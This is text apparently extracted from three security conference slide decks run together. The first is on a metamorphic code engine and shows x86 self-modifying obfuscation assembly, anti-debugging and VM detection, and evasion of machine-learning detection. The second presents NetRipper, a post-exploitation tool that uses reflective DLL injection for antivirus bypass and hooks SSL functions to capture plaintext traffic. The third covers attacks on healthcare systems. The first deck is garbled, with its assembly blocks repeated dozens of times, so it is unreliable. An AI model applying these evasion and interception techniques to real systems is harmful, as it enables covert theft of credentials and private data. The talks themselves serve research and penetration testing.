long line2 line11: popad jmp long line12 line10: nop jmp long line11 line5: jmp long line6 line4: sub edi, edi jmp long line5 line3: pushad jmp long line4 line2: push edi jmp long line3 line8: mov ecx, edx jmp long line9 line7: movzx ebx, byte [edi+2] jmp long line8 line6: add ebx, ebx jmp long line7 line9: mov dword [esp+32], ebx jmp long line10 line15: ret jmp long line16 line14: nop jmp long line15 line13: pop eax jmp long line14 line12: nop jmp long line13 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret line1: xor edi, edi jmp long line2 line11: popad jmp long line12 line10: nop jmp long line11 line5: jmp long line6 line4: sub edi, edi jmp long line5 line3: pushad jmp long line4 line2: push edi jmp long line3 line8: mov ecx, edx jmp long line9 line7: movzx ebx, byte [edi+2] jmp long line8 line6: add ebx, ebx jmp long line7 line9: mov dword [esp+32], ebx jmp long line10 line15: ret jmp long line16 line14: nop jmp long line15 line13: pop eax jmp long line14 line12: nop jmp long line13 Third Morphing Stage Remote Code Evolution line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Self Modifying Body Polymorphism line1: xor edi, edi jmp long line2 line1: pushad pushf call line1_1 db 5 db 1 dd -1 db 0 dd 27 db 4 dd 3524080526 db 0 dd 7 db 2 dd 545547056 mov eax, 93 add ecx, eax mov eax, ecx mov ebx, 0x11223344 not ebx mov [ecx], ebx add ecx, 4 mov ebx, 0x11223344 ror ebx, 27 mov [ecx], ebx add ecx, 4 xor dword [ecx], 0x11223344 add ecx, 4 mov ebx, 0x11223344 ror ebx, 7 mov [ecx], ebx add ecx, 4 add dword [ecx], 0x11223344 add ecx, 4 jmp eax line1_2: popf popad xor edi, edi jmp long line2 nop . . . 20*nops nop line1_1: mov ecx, [esp] nop nop mov dl, 0xe9 mov byte [ecx], dl mov edx, 0x00000058 mov dword [ecx+1], edx ret Random Obfuscation Keys db 5 db 1 dd -1 db 0 dd 27 db 4 dd 3524080526 db 0 dd 7 db 2 dd 545547056 Self modifying instructions mov eax, 93 add ecx, eax mov eax, ecx mov ebx, 0x11223344 not ebx mov [ecx], ebx add ecx, 4 mov ebx, 0x11223344 ror ebx, 27 mov [ecx], ebx add ecx, 4 xor dword [ecx], 0x11223344 add ecx, 4 mov ebx, 0x11223344 ror ebx, 7 mov [ecx], ebx add ecx, 4 add dword [ecx], 0x11223344 add ecx, 4 jmp eax line1_1: mov ecx, [esp] nop nop mov dl, 0xe9 mov byte [ecx], dl mov edx, 0x00000058 mov dword [ecx+1], edx ret Self Modifying Forth Morphing Stage line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Self Modifying Blocks Obfuscation Keys Self modifying code All blocks have same identical structure One block per morphed instruction Fifth Morphing Stage line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Self Modifying Blocks line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Response Time [+] mutated code size: 15110 bytes [+] encrypted response: 0x09575e31 | 156720689 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.685972 ms [+] mutated code size: 17771 bytes [+] encrypted response: 0x5820b6b5 | 1478538933 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.040096 ms [+] mutated code size: 23814 bytes [+] encrypted response: 0x5d844e9a | 1568951962 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.897926 ms [+] mutated code size: 19768 bytes [+] encrypted response: 0x818af8d8 | -2121598760 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.177187 ms line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Variable Code Size [+] mutated code size: 15110 bytes [+] encrypted response: 0x09575e31 | 156720689 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.685972 ms [+] mutated code size: 17771 bytes [+] encrypted response: 0x5820b6b5 | 1478538933 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.040096 ms [+] mutated code size: 23814 bytes [+] encrypted response: 0x5d844e9a | 1568951962 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.897926 ms [+] mutated code size: 19768 bytes [+] encrypted response: 0x818af8d8 | -2121598760 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.177187 ms line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Response Mutation [+] mutated code size: 15110 bytes [+] encrypted response: 0x09575e31 | 156720689 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.685972 ms [+] mutated code size: 17771 bytes [+] encrypted response: 0x5820b6b5 | 1478538933 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.040096 ms [+] mutated code size: 23814 bytes [+] encrypted response: 0x5d844e9a | 1568951962 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.897926 ms [+] mutated code size: 19768 bytes [+] encrypted response: 0x818af8d8 | -2121598760 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.177187 ms line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Demo 3 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Decoupled Reversible Mutation Response Mutation Morphing Engine Remote Mutation Tru"ed Zone Challenge Mutated Function Morphed Function Morphed Function Head Tail Unused Code Return value Reversible Mutation line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Decoupled Reversible Mutation Reversible Instructions add(value1) sub(value2) not() xor(value3) rol(value4) ror(value5) rol(value5) ror(value4) xor(value3) not() add(value2) sub(value1) line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Reversible Instructions | Response Mutation add eax, 0xe0d9780c not eax sub eax, 0xbcf3e676 not eax xor eax, 0xfb7e9fdd sub eax, 0x695e3adf add eax, 0x3e731a34 xor eax, 0xa0b50d13 xor eax, 0x39034b8d ror eax, 0xf sub eax, 0xfb824ebb xor eax, 0xd1e6a7ec xor eax, 0xbb5202f7 ror eax, 4 xor eax, 0x9ce66186 sub eax, 0x4ec067b8 not eax sub eax, 0xc98775b4 xor eax, 0xbdc52b4f ror eax, 2 sub eax, 0xd925192c ror eax, 3 add eax, 0x48fa27f1 sub eax, 0xd353c205 sub eax, 0xa888b8b2 xor eax, 0xe017f6fa ror eax, 0xd sub eax, 0x247dab96 add eax, 0xf6696155 sub eax, 0xbeaeaad5 add eax, 0xd6c7b4ee add eax, 0x120d5924 add eax, 0x9a0be9b9 sub eax, 0xbfe386c3 ror eax, 0x17 add eax, 0x14c58836 ror eax, 5 xor eax, 0x1984a5de not eax sub eax, 0x4d956430 sub eax, 0x9c9df86 add eax, 0xd88904bc xor eax, 0xf5bcc022 xor eax, 0x205c4a75 add eax, 0xbcbb2b45 sub eax, 0xdb0a2bc0 ror eax, 0xd add eax, 0x529eba0f ror eax, 0x1c add eax, 0x8150605 sub eax, 0xd8fe0628 add eax, 0xad81052c ror eax, 5 add eax, 0x762e0f15 not eax sub eax, 0x75707780 add eax, 0xe3265fc4 xor eax, 0x22952628 add eax, 0x231a8655 ror eax, 2 not eax sub eax, 0x2c75569a sub eax, 0x88ad3417 not eax ror eax, 0x19 add eax, 0xe7634a71 not eax xor eax, 0x500026f6 add eax, 0xad1a2fd2 sub eax, 0x937ead1b not eax add eax, 0x2f112a91 sub eax, 0x801608e8 xor eax, 0x9cb2998b xor eax, 0xe626a2be add eax, 0x3185e741 xor eax, 0x197e9520 xor eax, 0x5665148d sub eax, 0xc739155d add eax, 0x58f934ef sub eax, 0xa623710f xor eax, 0x8051cbca ror eax, 0x1d ror eax, 0xc ror eax, 0x1c xor eax, 0xa96f3357 ror eax, 0xa xor eax, 0xf13d8c20 not eax xor eax, 0xfb42f152 add eax, 0xb813492a sub eax, 0x4f8728ef add eax, 0xee0e75bc line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Artificial Immunity | Detecting the non-self 1st 2nd 3rd 4th 5th 6th 7th Mutations 156720689 147853893 15689519 -21215987 10778328 -689519 11979087 Responses 0 0 0 0 137106 0 0 Decrypted Tampered non-self line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Artificial Immunity | Detecting the non-self 1st 2nd 3rd 4th 5th 6th 7th Mutations 47 ms 65 ms 52 ms 106 ms 579 ms 39 ms 53 ms Response Time <500 ms <500 ms <500 ms <500 ms >500 ms <500 ms <500 ms Emulated non-self Time Threshold line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Artificial Immunity | Detecting the non-self 1st 2nd 3rd 4th 5th 6th 7th Mutations 521 ms 608 ms 492 ms 567 ms 65 ms 622 ms 545 ms Response Time >200 ms >200 ms >200 ms >200 ms <200 ms >200 ms >200 ms Time Threshold Emulated non-self line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Evading AI Machine Learning Mixing Morphed Blocks Morphed Function 1 Head Tail Morphed Function 2 Head Tail Morphed Function 3 Head Tail Disabling the AI from differentiating functions before, during and after execution line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Anti-Emulation In memory code integrity check Execution environment integrity check Clock synchronization Detect debuggers Detect Virtual Machines Collect Machine IDs In memory APIs code integrity check Detect hooks line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret { Conclusion } line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret { Questions? }
pdf
NetRipper SMART TRAFFIC SNIFFING FOR PENETRATION TESTERS Ionut Popescu – Senior Security Consultant @ KPMG Romania Who am I? • Ionut Popescu • Senior Security Consultant @ KPMG Romania • Blogger @ securitycafe.ro • Administrator @ rstforums.com Romania 1. Introduction 2. When it is useful 3. How it works 4. Reflective DLL Injection 5. API Hooking 6. Hooking Google Chrome 7. Questions? Agenda Introduction NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption. When it is useful Internal penetration test Pentester User User Sysadmin How it works - Example Outlook Hi, The new password is “Defcon23”. Thanks! Encryption layer … encrypted data… (╯°□°)╯︵ ┻━┻ … encrypted data… NetRipper User Network How it works - Example Outlook Hi, The new password is “Defcon23”. Thanks! Encryption layer … encrypted data… (╯°□°)╯︵ ┻━┻ … encrypted data… ncrypt.dll (SslEncryptPacket) User ws2_32.dll (send/WSASend) How it works - Example Outlook Hi, The new password is “Defcon23”. Thanks! Encryption layer … encrypted data… (╯°□°)╯︵ ┻━┻ … encrypted data… ncrypt.dll (SslEncryptPacket) User ws2_32.dll (send/WSASend) NetRipper.dll (Hook) Implementation details Data extraction Unencrypted data is saved locally API Hooking Specific functions are intercepted Reflective DLL Injection The DLL is injected into target processes Classic DLL Injection Disadvantages: DLL must be written on disk DLL is listed in the process modules How it works: 1. Open the remote process 2. Write DLL full path location in process memory 3. Call LoadLibrary() to load the DLL Reflective DLL Injection Stephen Fewer [Harmony Security] How it works: 1. DLL contents are copied from memory to target process memory 2. An exported function is called ( ReflectiveLoader() ) 3. The function correctly loads the DLL into memory Advantages: DLL does not touch the disk (antivirus bypass) DLL is not listed in the process modules (stealth) Detailed Reflective DLL Injection [1] Load the DLL contents into remote process: Detailed Reflective DLL Injection [2.1] Find the DLL image base (like LoadLibrary): Detailed Reflective DLL Injection [2.2] Find useful functions: LoadLibraryA, GetProcAddress, VirtualAlloc, NtFlushInstructionCache Detailed Reflective DLL Injection [2.3] Load DLL headers and sections: Detailed Reflective DLL Injection [2.4] Process imports and load additional DLLs: Detailed Reflective DLL Injection [2.5] Process image relocations: Detailed Reflective DLL Injection [2.6] Call entrypoint (DllMain): Outlook.exe user32.dll ncrypt.dll … SslEncryptPacket SslDecryptPacket … ws2_32.dll NetRipper.dll … SslEncryptPacket_Hook SslDecryptPacket_Hook … API Hooking 1. Find function address 2. Place a “call” instruction 3. Call a generic hook function instead 4. Restore original bytes 5. Call a callback function 6. Call original function 7. Save network traffic data 8. Restore hook API Hooking Normal function code: Hooked function code: API Hooking Place hook: API Hooking details Get hook information:API Hooking details Place hook: API Hooking details Callback function: API Hooking details Hooking Chrome NSS /net/third_party/nss/ssl/sslsock.c Hooking Chrome NSS Hooking Chrome NSS Initialization data 1. Find SSL string 2. Find push SSL 3. Find MOV [x], 4 4. Get pointers Hooking Chrome BoringSSL /ssl/ssl_lib.c Filename is included in binary. Hooking Chrome BoringSSL Find 15th and 17th occurrence. Hooking Chrome BoringSSL Initialization 1. Search string 2. Search PUSH 3. Find 15th PUSH 4. Find 17th PUSH 5. Go back 17 bytes More details will be added in the updated version! DEMO Project information https://github.com/NytroRST/NetRipper/ Conclusion • Post exploitation tool • Uses Reflective DLL Injection and API Hooking • Hooks application-specific functions • Captures all network traffic in plain-text • Easy to use Questions? Contact information ionut.popescu [@] outlook.com contact [@] securitycafe.ro admin [@] rstforums.com @NytroRST
pdf
I’m Not A Doctor But I Play One On Your Network Tim Elrod and Stefan Morris About Us Tim Elrod – Penetration Tester for Fishnet Security Over 7 years pentesting healthcare systems Stefan Morris – Penetration Test for Fishnet Security Over 4 years Pentesting healthcare systems Technology Redux Common Healthcare Technologies Hl7 Dicom A History of Standard Non-standard Standards Why Would You Care? HIPAA Doesn’t Help: There’s no PCI for Healthcare Personally Identifiable Information (PII) Protected Health Information (PHI) Identity theft Medical identity theft Loss of Life and Limb PACS What are Picture Archiving and Communication Systems (PACS)? Digital Imaging and Communications in Medicine (DICOM) DICOM the network protocol DICOM the file format Fuzzing DICOM HL7 Interface Systems Health Level 7 (HL7) Protocol and Standards Clear Text Protocol Delimited fields contain either codes or data Sub fields can also contain codes or data Centralized Data Storage and Structure of HL7 Systems HL7 Routers Fuzzing HL7 Electronic Health/Medical Record Systems Medical Record Storage Most medical records are stored in multiple systems across the healthcare environment Health records can exist in databases as well as unstructured data files Front End Interfaces and Issues Common web application issues Logic flaws regarding user permissions Health Information Exchanges (HIE) Building a National Healthcare System and Efficiency Through Legislation Regional and National HIE Structure Vulnerabilities Introduced by the Interconnectivity of Immature Systems Personal Health Records (PHR) Health Vault Google Others Malicious Health Records (MHR) Records input into PHRs such as Google health and Microsoft health vault get parsed and acted upon by backend health systems such as HL7 Routers It is possible for an attacker to inject health records and then cause vulnerabilities to be triggered in backend systems Medical Hardware Review Prescription Dispensing Cabinets Omnicell Q&A Hit us up in the q&a area or buy us a beer at the bar
pdf
